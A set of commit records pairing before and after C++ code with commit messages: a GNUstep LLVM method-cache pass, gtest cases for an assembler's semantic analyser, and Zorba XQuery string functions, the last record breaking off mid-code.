{"text":"<commit_before>#include \"llvm\/Pass.h\"\n#include \"llvm\/Function.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Instructions.h\"\n#include \"llvm\/GlobalAlias.h\"\n#include \"llvm\/GlobalVariable.h\"\n#include \"llvm\/Constants.h\"\n#include \"llvm\/Support\/IRBuilder.h\"\n#include \"llvm\/Analysis\/LoopInfo.h\"\n#include \"llvm\/Transforms\/Utils\/BasicBlockUtils.h\"\n#include \"IMPCacher.h\"\n\nvoid GNUstep::IMPCacher::CacheLookup(CallInst *lookup, Value *slot, Value\n    *version) {\n\n  BasicBlock *beforeLookupBB = lookup->getParent();\n  BasicBlock *lookupBB = SplitBlock(beforeLookupBB, lookup, Owner);\n  BasicBlock::iterator iter = lookup;\n  iter++;\n  BasicBlock *afterLookupBB = SplitBlock(iter->getParent(), iter, Owner);\n\n  beforeLookupBB->getTerminator()->removeFromParent();\n\n  IRBuilder<> B = IRBuilder<>(beforeLookupBB);\n  \/\/ Load the slot and check that neither it nor the version is 0.\n  Value *slotValue = B.CreateLoad(slot);\n  Value *versionValue = B.CreateLoad(version);\n  Value *receiver = lookup->getOperand(1);\n\n  Value *isCacheEmpty = \n        B.CreateOr(versionValue, B.CreatePtrToInt(slotValue, IntTy));\n  isCacheEmpty = \n    B.CreateICmpEQ(isCacheEmpty, Constant::getNullValue(IntTy));\n  Value *receiverNotNil =\n     B.CreateICmpNE(receiver, Constant::getNullValue(receiver->getType()));\n  isCacheEmpty = B.CreateAnd(isCacheEmpty, receiverNotNil);\n      \n  BasicBlock *cacheLookupBB = BasicBlock::Create(Context, \"cache_check\",\n      lookupBB->getParent());\n\n  B.CreateCondBr(isCacheEmpty, lookupBB, cacheLookupBB);\n\n  \/\/ Check the cache node is current\n  B.SetInsertPoint(cacheLookupBB);\n  Value *slotVersion = B.CreateStructGEP(slotValue, 3);\n  \/\/ Note: Volatile load because the slot version might have changed in\n  \/\/ another thread.\n  slotVersion = B.CreateLoad(slotVersion, true, \"slot_version\");\n  Value *slotCachedFor = B.CreateStructGEP(slotValue, 1);\n  slotCachedFor = B.CreateLoad(slotCachedFor, true, \"slot_owner\");\n  Value *cls = B.CreateLoad(B.CreateBitCast(receiver, IdTy));\n  Value *isVersionCorrect = B.CreateICmpEQ(slotVersion, versionValue);\n  Value *isOwnerCorrect = B.CreateICmpEQ(slotCachedFor, cls);\n  Value *isSlotValid = B.CreateAnd(isVersionCorrect, isOwnerCorrect);\n  \/\/ If this slot is still valid, skip the lookup.\n  B.CreateCondBr(isSlotValid, afterLookupBB, lookupBB);\n\n  \/\/ Replace the looked up slot with the loaded one\n  B.SetInsertPoint(afterLookupBB, afterLookupBB->begin());\n  \/\/ Not volatile, so a redundant load elimination pass can do some phi\n  \/\/ magic with this later.\n  lookup->replaceAllUsesWith(B.CreateLoad(slot));\n\n  \/\/ Perform the real lookup and cache the result\n  lookupBB->getTerminator()->removeFromParent();\n  B.SetInsertPoint(lookupBB);\n  \/\/ Store it even if the version is 0, because we always check that the\n  \/\/ version is not 0 at the start and an occasional redundant store is\n  \/\/ probably better than a branch every time.\n  B.CreateStore(lookup, slot);\n  B.CreateStore(B.CreateLoad(B.CreateStructGEP(lookup, 3)), version);\n  cls = B.CreateLoad(B.CreateBitCast(receiver, IdTy));\n  B.CreateStore(cls, B.CreateStructGEP(lookup, 1));\n  B.CreateBr(afterLookupBB);\n}\n\n<commit_msg>Fixed IMP cacher to not cache the slot if the lookup function changes the receiver (this could result in a method being called on the wrong receiver, which would just be confusing).<commit_after>#include \"llvm\/Pass.h\"\n#include \"llvm\/Function.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Instructions.h\"\n#include \"llvm\/GlobalAlias.h\"\n#include \"llvm\/GlobalVariable.h\"\n#include \"llvm\/Constants.h\"\n#include \"llvm\/Support\/IRBuilder.h\"\n#include \"llvm\/Analysis\/LoopInfo.h\"\n#include \"llvm\/Transforms\/Utils\/BasicBlockUtils.h\"\n#include \"IMPCacher.h\"\n\nvoid GNUstep::IMPCacher::CacheLookup(CallInst *lookup, Value *slot, Value\n    *version) {\n\n  BasicBlock *beforeLookupBB = lookup->getParent();\n  BasicBlock *lookupBB = SplitBlock(beforeLookupBB, lookup, Owner);\n  BasicBlock::iterator iter = lookup;\n  iter++;\n  BasicBlock *afterLookupBB = SplitBlock(iter->getParent(), iter, Owner);\n\n  beforeLookupBB->getTerminator()->removeFromParent();\n\n  IRBuilder<> B = IRBuilder<>(beforeLookupBB);\n  \/\/ Load the slot and check that neither it nor the version is 0.\n  Value *slotValue = B.CreateLoad(slot);\n  Value *versionValue = B.CreateLoad(version);\n  Value *receiverPtr = lookup->getOperand(1);\n  Value *receiver = B.CreateLoad(receiverPtr);\n\n  Value *isCacheEmpty = \n        B.CreateOr(versionValue, B.CreatePtrToInt(slotValue, IntTy));\n  isCacheEmpty = \n    B.CreateICmpEQ(isCacheEmpty, Constant::getNullValue(IntTy));\n  Value *receiverNotNil =\n     B.CreateICmpNE(receiver, Constant::getNullValue(receiver->getType()));\n  isCacheEmpty = B.CreateAnd(isCacheEmpty, receiverNotNil);\n      \n  BasicBlock *cacheLookupBB = BasicBlock::Create(Context, \"cache_check\",\n      lookupBB->getParent());\n\n  B.CreateCondBr(isCacheEmpty, lookupBB, cacheLookupBB);\n\n  \/\/ Check the cache node is current\n  B.SetInsertPoint(cacheLookupBB);\n  Value *slotVersion = B.CreateStructGEP(slotValue, 3);\n  \/\/ Note: Volatile load because the slot version might have changed in\n  \/\/ another thread.\n  slotVersion = B.CreateLoad(slotVersion, true, \"slot_version\");\n  Value *slotCachedFor = B.CreateStructGEP(slotValue, 1);\n  slotCachedFor = B.CreateLoad(slotCachedFor, true, \"slot_owner\");\n  Value *cls = B.CreateLoad(B.CreateBitCast(receiver, IdTy));\n  Value *isVersionCorrect = B.CreateICmpEQ(slotVersion, versionValue);\n  Value *isOwnerCorrect = B.CreateICmpEQ(slotCachedFor, cls);\n  Value *isSlotValid = B.CreateAnd(isVersionCorrect, isOwnerCorrect);\n  \/\/ If this slot is still valid, skip the lookup.\n  B.CreateCondBr(isSlotValid, afterLookupBB, lookupBB);\n\n  \/\/ Replace the looked up slot with the loaded one\n  B.SetInsertPoint(afterLookupBB, afterLookupBB->begin());\n  \/\/ Not volatile, so a redundant load elimination pass can do some phi\n  \/\/ magic with this later.\n  lookup->replaceAllUsesWith(B.CreateLoad(slot));\n\n  \/\/ Perform the real lookup and cache the result\n  lookupBB->getTerminator()->removeFromParent();\n  B.SetInsertPoint(lookupBB);\n  Value * newReceiver = B.CreateLoad(receiverPtr);\n  BasicBlock *storeCacheBB = BasicBlock::Create(Context, \"cache_store\",\n      lookupBB->getParent());\n\n  \/\/ Don't store the cached lookup if we are doing forwarding tricks.\n  B.CreateCondBr(B.CreateICmpEQ(receiver, newReceiver), storeCacheBB,\n      afterLookupBB);\n  B.SetInsertPoint(storeCacheBB);\n\n  \/\/ Store it even if the version is 0, because we always check that the\n  \/\/ version is not 0 at the start and an occasional redundant store is\n  \/\/ probably better than a branch every time.\n  B.CreateStore(lookup, slot);\n  B.CreateStore(B.CreateLoad(B.CreateStructGEP(lookup, 3)), version);\n  cls = B.CreateLoad(B.CreateBitCast(receiver, IdTy));\n  B.CreateStore(cls, B.CreateStructGEP(lookup, 1));\n  B.CreateBr(afterLookupBB);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"gtest\/gtest.h\"\n\n#include <stdexcept>\n\n#include \"SemanticAnalyser.hpp\"\n\nusing namespace ::testing;\n\nstruct SemanticAnalyserTest : public Test\n{\n    SemanticAnalyser analyser;\n\n    static constexpr Token createTokenWithZeroValue(TokenType type)\n    {\n        return {type, 0};\n    }\n\n    static constexpr Instruction\n    createInstructionWithZeroValue(InstructionType type)\n    {\n        return {type, 0};\n    }\n};\n\nTEST_F(SemanticAnalyserTest, ShouldAcceptEmptyTokens)\n{\n    Tokens tokens{};\n    Instructions instructions;\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n\nTEST_F(SemanticAnalyserTest, ShouldNotAcceptInvalidInstructionSet)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Ld)};\n    ASSERT_THROW(analyser.analyse(tokens), SemanticAnalyser::InvalidSemantic);\n}\n\nTEST_F(SemanticAnalyserTest, ShouldAcceptLdInstruction)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Ld),\n                  createTokenWithZeroValue(TokenType::A)};\n    Instructions instructions{\n        createInstructionWithZeroValue(InstructionType::LdA)};\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n\nTEST_F(SemanticAnalyserTest, ShouldAcceptOutInstruction)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Out),\n                  createTokenWithZeroValue(TokenType::ZeroWithBracketsA)};\n    Instructions instructions{\n        createInstructionWithZeroValue(InstructionType::OutA)};\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n\nTEST_F(SemanticAnalyserTest, ShouldNotAcceptInvalidInstruction)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Out),\n                  createTokenWithZeroValue(TokenType::Ld)};\n    ASSERT_THROW(analyser.analyse(tokens), SemanticAnalyser::InvalidSemantic);\n}\n\nTEST_F(SemanticAnalyserTest, ShouldRejectInvalidLdInstruction)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Ld),\n                  createTokenWithZeroValue(TokenType::A),\n                  createTokenWithZeroValue(TokenType::Out)};\n    ASSERT_THROW(analyser.analyse(tokens), SemanticAnalyser::InvalidSemantic);\n}\n\nTEST_F(SemanticAnalyserTest, ShouldAcceptOutInstructionFollowedByLd)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Out),\n                  createTokenWithZeroValue(TokenType::ZeroWithBracketsA),\n                  createTokenWithZeroValue(TokenType::Ld),\n                  createTokenWithZeroValue(TokenType::A)};\n    Instructions instructions{\n        createInstructionWithZeroValue(InstructionType::OutA),\n        createInstructionWithZeroValue(InstructionType::LdA)};\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n\nTEST_F(SemanticAnalyserTest, ShouldAcceptLdInstructionWithValue)\n{\n    constexpr auto number = 42u;\n    Tokens tokens{createTokenWithZeroValue(TokenType::Ld),\n                  {TokenType::A, number}};\n    Instructions instructions{{InstructionType::LdA, number}};\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n\nTEST_F(SemanticAnalyserTest, ShouldAcceptOutInstructionFollowedByLdWithValue)\n{\n    constexpr auto number = 42u;\n    Tokens tokens{createTokenWithZeroValue(TokenType::Out),\n                  createTokenWithZeroValue(TokenType::ZeroWithBracketsA),\n                  createTokenWithZeroValue(TokenType::Ld),\n                  {TokenType::A, number}};\n    Instructions instructions{\n        createInstructionWithZeroValue(InstructionType::OutA),\n        {InstructionType::LdA, number}};\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n\nTEST_F(SemanticAnalyserTest, DISABLED_ShouldAccepRlcaInsruction)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Rlca)};\n    Instructions instructions{\n        createInstructionWithZeroValue(InstructionType::Rlca)};\n\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n<commit_msg>Move checking size of instruction to instruction test<commit_after>#include \"gtest\/gtest.h\"\n\n#include <stdexcept>\n\n#include \"SemanticAnalyser.hpp\"\n\nusing namespace ::testing;\n\nstruct SemanticAnalyserTest : public Test\n{\n    SemanticAnalyser analyser;\n\n    static constexpr Token createTokenWithZeroValue(TokenType type)\n    {\n        return {type, 0};\n    }\n\n    static constexpr Instruction\n    createInstructionWithZeroValue(InstructionType type)\n    {\n        return {type, 0};\n    }\n};\n\nTEST_F(SemanticAnalyserTest, ShouldAcceptEmptyTokens)\n{\n    Tokens tokens{};\n    Instructions instructions;\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n\nTEST_F(SemanticAnalyserTest, ShouldNotAcceptInvalidInstructionSet)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Ld)};\n    ASSERT_THROW(analyser.analyse(tokens), SemanticAnalyser::InvalidSemantic);\n}\n\nTEST_F(SemanticAnalyserTest, ShouldAcceptLdInstruction)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Ld),\n                  createTokenWithZeroValue(TokenType::A)};\n    Instructions instructions{\n        createInstructionWithZeroValue(InstructionType::LdA)};\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n\nTEST_F(SemanticAnalyserTest, ShouldAcceptOutInstruction)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Out),\n                  createTokenWithZeroValue(TokenType::ZeroWithBracketsA)};\n    Instructions instructions{\n        createInstructionWithZeroValue(InstructionType::OutA)};\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n\nTEST_F(SemanticAnalyserTest, ShouldNotAcceptInvalidInstruction)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Out),\n                  createTokenWithZeroValue(TokenType::Ld)};\n    ASSERT_THROW(analyser.analyse(tokens), SemanticAnalyser::InvalidSemantic);\n}\n\nTEST_F(SemanticAnalyserTest, ShouldRejectInvalidLdInstruction)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Ld),\n                  createTokenWithZeroValue(TokenType::A),\n                  createTokenWithZeroValue(TokenType::Out)};\n    ASSERT_THROW(analyser.analyse(tokens), SemanticAnalyser::InvalidSemantic);\n}\n\nTEST_F(SemanticAnalyserTest, ShouldAcceptOutInstructionFollowedByLd)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Out),\n                  createTokenWithZeroValue(TokenType::ZeroWithBracketsA),\n                  createTokenWithZeroValue(TokenType::Ld),\n                  createTokenWithZeroValue(TokenType::A)};\n    Instructions instructions{\n        createInstructionWithZeroValue(InstructionType::OutA),\n        createInstructionWithZeroValue(InstructionType::LdA)};\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n\nTEST_F(SemanticAnalyserTest, ShouldAcceptLdInstructionWithValue)\n{\n    constexpr auto number = 42u;\n    Tokens tokens{createTokenWithZeroValue(TokenType::Ld),\n                  {TokenType::A, number}};\n    Instructions instructions{{InstructionType::LdA, number}};\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n\nTEST_F(SemanticAnalyserTest, ShouldAcceptOutInstructionFollowedByLdWithValue)\n{\n    constexpr auto number = 42u;\n    Tokens tokens{createTokenWithZeroValue(TokenType::Out),\n                  createTokenWithZeroValue(TokenType::ZeroWithBracketsA),\n                  createTokenWithZeroValue(TokenType::Ld),\n                  {TokenType::A, number}};\n    Instructions instructions{\n        createInstructionWithZeroValue(InstructionType::OutA),\n        {InstructionType::LdA, number}};\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n\nTEST_F(SemanticAnalyserTest, ShouldAccepRlcaInsruction)\n{\n    Tokens tokens{createTokenWithZeroValue(TokenType::Rlca)};\n    Instructions instructions{\n        createInstructionWithZeroValue(InstructionType::Rlca)};\n\n    ASSERT_EQ(instructions, analyser.analyse(tokens));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\r\n * @copyright\r\n * ========================================================================\r\n *\tCopyright 2006-2007 FLWOR Foundation\r\n * ========================================================================\r\n *\r\n * @author Sorin Nasoi (sorin.nasoi@ipdevel.ro)\r\n * @file functions\/StringsImpl.cpp\r\n *\r\n *\/\r\n\r\n#include <iostream>\r\n\r\n#include \"runtime\/strings\/StringsImpl.h\"\r\n#include \"util\/tracer.h\"\r\n#include \"types\/casting.h\"\r\n#include \"errors\/Error.h\"\r\n#include \"util\/zorba.h\"\r\n#include \"util\/utf8\/utf8.h\"\r\n\r\nusing namespace std;\r\nnamespace xqp {\r\n\/**\r\n *______________________________________________________________________\r\n *\r\n *\t7.2.1 fn:codepoints-to-string\r\n *\r\n *\tfn:codepoints-to-string($arg as xs:integer*) as xs:string\r\n *\r\n *\tSummary:Creates an xs:string from a sequence of code points.\r\n *Returns the zero-length string if $arg is the empty sequence.\r\n *If any of the code points in $arg is not a legal XML character,\r\n *an error is raised [err:FOCH0001] (\"Code point not valid.\").\r\n *_______________________________________________________________________*\/\r\n\/* begin class CodepointsToStringIterator *\/\r\nItem_t CodepointsToStringIterator::nextImpl(PlanState& planState){\r\n\tItem_t item;\r\n\tItem_t resItem;\r\n\txqp_string resStr;\r\n\r\n\tPlanIterator::PlanIteratorState* state;\r\n\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\r\n\twhile(true){\r\n\t\titem = consumeNext ( theChild, planState );\r\n\t\tif ( item != NULL ){\r\n\t\t\titem = item->getAtomizationValue();\r\n\t\t\tresStr += (uint32_t)item->getIntegerValue();\r\n\t\t}\r\n\t\telse{\r\n\t\t\tresItem = zorba::getZorbaForCurrentThread()->getItemFactory()->createString(resStr);\r\n\t\t\tSTACK_PUSH2( resItem, state );\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tSTACK_END2();\r\n}\r\n\/* end class CodepointsToStringIterator *\/\r\n\r\n\/**\r\n *______________________________________________________________________\r\n *\r\n *\t7.2.2 fn:string-to-codepoints\r\n *\r\n *\tfn:string-to-codepoints($arg as xs:string?) as xs:integer*\r\n *\r\n *\tSummary: Returns the sequence of code points that constitute an\r\n *xs:string.\r\n *If $arg is a zero-length string or the empty sequence,\r\n *the empty sequence is returned.\r\n *_______________________________________________________________________*\/\r\n\/* begin class StringToCodepointsIterator *\/\r\nItem_t StringToCodepointsIterator::nextImpl(PlanState& planState){\r\n\/*\r\n\tItem_t item;\r\n\tItem_t resItem;\r\n\txqp_string inputStr;\r\n\tstd::vector<int> resVector;\r\n\tstd::vector<int>::iterator iter;\r\n\r\n\tPlanIterator::PlanIteratorState* state;\r\n\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\r\n\titem = consumeNext ( theChild, planState );\r\n\tif ( item != NULL ){\r\n\t\tinputStr = item->getStringValue();\r\n\t\tresVector = inputStr.getCodepoints();\r\n\t\tfor(iter = resVector.begin(); iter != resVector.end(); iter++){\r\n\t\t\tresItem = zorba::getZorbaForCurrentThread()->getItemFactory()->createInteger(*iter);\r\n\t\t\tSTACK_PUSH2( resItem, state );\r\n\t\t}\r\n\t}\r\n\tSTACK_END2();\r\n*\/\r\n\tPlanIterator::PlanIteratorState* state;\r\n\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\tSTACK_END2();\r\n}\r\n\/* end class StringToCodepointsIterator *\/\r\n\r\n\/**\r\n *______________________________________________________________________\r\n *\t7.3.2 fn:compare\r\n * fn:compare($comparand1 as xs:string?,\r\n * \t\t\t\t\t\t\t\t\t$comparand2 as xs:string?) as xs:integer\r\n *\r\n * fn:compare( \t$comparand1\tas xs:string?,\r\n * \t\t\t\t\t\t\t\t\t\t$comparand2\tas xs:string?,\r\n * \t\t\t\t\t\t\t\t\t\t$collation\tas xs:string) as xs:integer?\r\n *\r\n * Summary: Returns -1, 0, or 1, depending on whether the value of\r\n * the $comparand1 is respectively less than, equal to, or greater\r\n * than the value of $comparand2, according to the rules of\r\n * the collation that is used.\r\n *\r\n * If either argument is the empty sequence, the result is the empty sequence.\r\n *_______________________________________________________________________*\/\r\n\r\n\/* begin class CompareStrIterator *\/\r\nItem_t\r\nCompareStrIterator::nextImpl(PlanState& planState) {\r\n\tItem_t n0;\r\n\tItem_t n1;\r\n\tItem_t n2;\r\n\tItem_t res;\r\n\r\n\tPlanIterator::PlanIteratorState* state;\r\n\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\r\n\tn0 = consumeNext ( theChildren[0], planState );\r\n\tif ( n0 != NULL )\t{\r\n\t\tn1 = consumeNext ( theChildren[1], planState );\r\n\t\tif ( n1 != NULL )\t{\r\n\t\t\tn0 = n0->getAtomizationValue();\r\n\t\t\tn1 = n1->getAtomizationValue();\r\n\t\t\tn2 = consumeNext ( theChildren[2], planState );\r\n\t\t\tif(theChildren.size() == 3)\t{\r\n\t\t\t\tif ( n2 != NULL )\t{\r\n\t\t\t\t\t\/\/TODO solve track issue no.26\r\n\t\t\t\t\tres = zorba::getZorbaForCurrentThread()->getItemFactory()->createInteger(\r\n\t\t\t\t\t\t\t\t\tn0->getStringValue().compare(n1->getStringValue(), n2->getStringValue().c_str()));\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\tres = zorba::getZorbaForCurrentThread()->getItemFactory()->createInteger(\r\n\t\t\t\t\t\t\t\tn0->getStringValue().compare(n1->getStringValue()));\r\n\t\t\t}\r\n\t\t\tSTACK_PUSH2( res, state );\r\n\t\t}\r\n\t}\r\n\r\n\tSTACK_END2();\r\n}\r\n\/* end class CompareStrIterator *\/\r\n\r\n\/**\r\n *______________________________________________________________________\r\n *\r\n *\t7.3.3 fn:codepoint-equal\r\n *\r\n *\tfn:codepoint-equal( \t$comparand1 \t as xs:string?,\r\n *  \t\t\t\t\t\t\t\t\t\t\t$comparand2 \t as xs:string?) as xs:boolean?\r\n *\r\n *\tSummary: Returns true or false depending on whether the value\r\n * of $comparand1 is equal to the value of $comparand2, according to\r\n * the Unicode code point collation\r\n * (http:\/\/www.w3.org\/2005\/xpath-functions\/collation\/codepoint).\r\n *\r\n * If either argument is the empty sequence, the result is the empty sequence.\r\n * \r\n * Note: This function allows xs:anyURI values to be compared\r\n * without having to specify the Unicode code point collation.\r\n *_______________________________________________________________________*\/\r\n\/* begin class CodepointEqualIterator *\/\r\nItem_t CodepointEqualIterator::nextImpl(PlanState& planState){\r\n\t\tItem_t item0;\r\n\t\tItem_t item1;\r\n\t\tItem_t res;\r\n\r\n\t\tPlanIterator::PlanIteratorState* state;\r\n\t\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\r\n\t\titem0 = consumeNext ( theChild0, planState );\r\n\t\tif ( item0 != NULL )\t{\r\n\t\t\titem1 = consumeNext ( theChild1, planState );\r\n\t\t\tif ( item1 != NULL )\t{\r\n\t\t\t\titem0 = item0->getAtomizationValue();\r\n\t\t\t\titem1 = item1->getAtomizationValue();\r\n\t\t\t\tres = zorba::getZorbaForCurrentThread()->getItemFactory()->createBoolean(\r\n\t\t\t\t\t\t\t\t\titem0->getStringValue() == item1->getStringValue());\r\n\t\t\t\tSTACK_PUSH2( res, state );\r\n\t\t\t}\r\n\t\t}\r\n\t\tSTACK_END2();\r\n}\r\n\/* end class CodepointEqualIterator *\/\r\n\/**\r\n *______________________________________________________________________\r\n *\r\n *\t7.4.1 fn:concat\r\n *\r\n * fn:concat( \t$arg1 \t as xs:anyAtomicType?,\r\n * \t\t\t\t\t\t\t\t\t$arg2 \t as xs:anyAtomicType?,\r\n * \t\t\t\t\t\t\t\t\t...\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t) as xs:string\r\n * \r\n * Summary:\r\n * Accepts two or more xs:anyAtomicType arguments and casts them to xs:string.\r\n * Returns the xs:string that is the concatenation of the values of its\r\n * arguments after conversion.\r\n * If any of the arguments is the empty sequence, the argument is treated\r\n * as the zero-length string.\r\n *\r\n * The fn:concat function is specified to allow an two or more arguments\r\n * that are concatenated together.\r\n *\r\n * Note:\r\n * Unicode normalization is not automatically applied to the result\r\n * of fn:concat. If a normalized result is required, fn:normalize-unicode\r\n * can be applied to the xs:string returned by fn:concat.\r\n *_______________________________________________________________________*\/\r\n\/* begin class ConcatStrIterator *\/\r\nItem_t ConcatStrIterator::nextImpl(PlanState& planState) {\r\n\t\/\/TODO this function is not implemented for a variable number of arguments\r\n\tItem_t item0;\r\n\tItem_t item1;\r\n\tItem_t res;\r\n\txqp_string s0,s1;\r\n\tint argsNo = theChildren.size();\r\n\tPlanIterator::PlanIteratorState* state;\r\n\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\r\n\tif(argsNo >= 1){\r\n\t\titem0 = consumeNext ( theChildren[0], planState );\r\n\t\tif(argsNo ==1){\r\n\t\t\tSTACK_PUSH2( item0, state );\r\n\t\t}\r\n\t\telse{\r\n\t\t\titem1 = consumeNext ( theChildren[1], planState );\r\n\t\t\ts0 = item0->getStringValue();\r\n\t\t\ts1 = item1->getStringValue();\r\n\t\t\t\/\/TODO ask about this error\r\n\t\t\t\/\/Details: fn:concat(\"0\",\"1\")\r\n\t\t\t\/\/theChildren[0] atomic value is 1 and\r\n\t\t\t\/\/theChildren[1] atomic value is 0\r\n\t\t\tres = zorba::getZorbaForCurrentThread()->getItemFactory()->createString(\r\n\t\t\t\t\t\t\titem0->getStringValue() += item1->getStringValue());\r\n\t\t\tSTACK_PUSH2( res, state );\r\n\t\t}\r\n\t}\r\n\tSTACK_END2();\r\n}\r\n\/* end class ConcatStrIterator *\/\r\n\r\n\/**\r\n *______________________________________________________________________\r\n *\r\n *\t7.4.2 fn:string-join\r\n *\r\n * fn:string-join($arg1 as xs:string*,\r\n * \t\t\t\t\t\t\t\t\t\t$arg2 as xs:string) as xs:string\r\n *\r\n * Summary: Returns a xs:string created by concatenating the members\r\n * of the $arg1 sequence using $arg2 as a separator.\r\n *\r\n * If the value of $arg2 is the zero-length string,\r\n * then the members of $arg1 are concatenated without a separator.\r\n *\r\n * If the value of $arg1 is the empty sequence,\r\n * the zero-length string is returned.\r\n *_______________________________________________________________________*\/\r\n\/* begin class StringJoinIterator *\/\r\nItem_t StringJoinIterator::nextImpl(PlanState& planState) {\r\n\tItem_t item;\r\n\tItem_t resItem;\r\n\txqp_string resStr;\r\n\txqp_string separator;\r\n\r\n\tPlanIterator::PlanIteratorState* state;\r\n\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\r\n\/\/TODO this is not correct:\r\n\/\/Step 1: find the separator based on the type (item not sequence)\r\n\/\/step 2: concatenate the items whithin the sequence using separator as \"glue\"\r\n\twhile(true){\r\n\t\titem = consumeNext ( theChild0, planState );\r\n\t\tif ( item != NULL ){\r\n\t\t\titem = item->getAtomizationValue();\r\n\t\t\tresStr += item->getStringValue();\r\n\t\t}\r\n\t\telse{\r\n\t\t\tresItem = zorba::getZorbaForCurrentThread()->getItemFactory()->createString(resStr);\r\n\t\t\tSTACK_PUSH2( resItem, state );\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tSTACK_END2();\r\n}\r\n\/* end class StringJoinIterator *\/\r\n} \/* namespace xqp *\/\r\n<commit_msg>Changes to string iterators<commit_after>\/**\r\n * @copyright\r\n * ========================================================================\r\n *\tCopyright 2006-2007 FLWOR Foundation\r\n * ========================================================================\r\n *\r\n * @author Sorin Nasoi (sorin.nasoi@ipdevel.ro)\r\n * @file functions\/StringsImpl.cpp\r\n *\r\n *\/\r\n\r\n#include <iostream>\r\n\r\n#include \"runtime\/strings\/StringsImpl.h\"\r\n#include \"util\/tracer.h\"\r\n#include \"types\/casting.h\"\r\n#include \"errors\/Error.h\"\r\n#include \"util\/zorba.h\"\r\n#include \"util\/utf8\/utf8.h\"\r\n\r\nusing namespace std;\r\nnamespace xqp {\r\n\/**\r\n *______________________________________________________________________\r\n *\r\n *\t7.2.1 fn:codepoints-to-string\r\n *\r\n *\tfn:codepoints-to-string($arg as xs:integer*) as xs:string\r\n *\r\n *\tSummary:Creates an xs:string from a sequence of code points.\r\n *Returns the zero-length string if $arg is the empty sequence.\r\n *If any of the code points in $arg is not a legal XML character,\r\n *an error is raised [err:FOCH0001] (\"Code point not valid.\").\r\n *_______________________________________________________________________*\/\r\n\/* begin class CodepointsToStringIterator *\/\r\nItem_t CodepointsToStringIterator::nextImpl(PlanState& planState){\r\n\tItem_t item;\r\n\tItem_t resItem;\r\n\txqp_string resStr;\r\n\r\n\tPlanIterator::PlanIteratorState* state;\r\n\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\r\n\twhile(true){\r\n\t\titem = consumeNext ( theChild, planState );\r\n\t\tif ( item != NULL ){\r\n\t\t\titem = item->getAtomizationValue();\r\n\t\t\tresStr += (uint32_t)item->getIntegerValue();\r\n\t\t}\r\n\t\telse{\r\n\t\t\tresItem = zorba::getZorbaForCurrentThread()->getItemFactory()->createString(resStr);\r\n\t\t\tSTACK_PUSH2( resItem, state );\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tSTACK_END2();\r\n}\r\n\/* end class CodepointsToStringIterator *\/\r\n\r\n\/**\r\n *______________________________________________________________________\r\n *\r\n *\t7.2.2 fn:string-to-codepoints\r\n *\r\n *\tfn:string-to-codepoints($arg as xs:string?) as xs:integer*\r\n *\r\n *\tSummary: Returns the sequence of code points that constitute an\r\n *xs:string.\r\n *If $arg is a zero-length string or the empty sequence,\r\n *the empty sequence is returned.\r\n *_______________________________________________________________________*\/\r\n\/* begin class StringToCodepointsIterator *\/\r\nItem_t StringToCodepointsIterator::nextImpl(PlanState& planState){\r\n\/*\r\n\tItem_t item;\r\n\tItem_t resItem;\r\n\txqp_string inputStr;\r\n\tstd::vector<int> resVector;\r\n\tstd::vector<int>::iterator iter;\r\n\r\n\tPlanIterator::PlanIteratorState* state;\r\n\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\r\n\titem = consumeNext ( theChild, planState );\r\n\tif ( item != NULL ){\r\n\t\tinputStr = item->getStringValue();\r\n\t\tresVector = inputStr.getCodepoints();\r\n\t\tfor(iter = resVector.begin(); iter != resVector.end(); iter++){\r\n\t\t\tresItem = zorba::getZorbaForCurrentThread()->getItemFactory()->createInteger(*iter);\r\n\t\t\tSTACK_PUSH2( resItem, state );\r\n\t\t}\r\n\t}\r\n\tSTACK_END2();\r\n*\/\r\n\tPlanIterator::PlanIteratorState* state;\r\n\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, 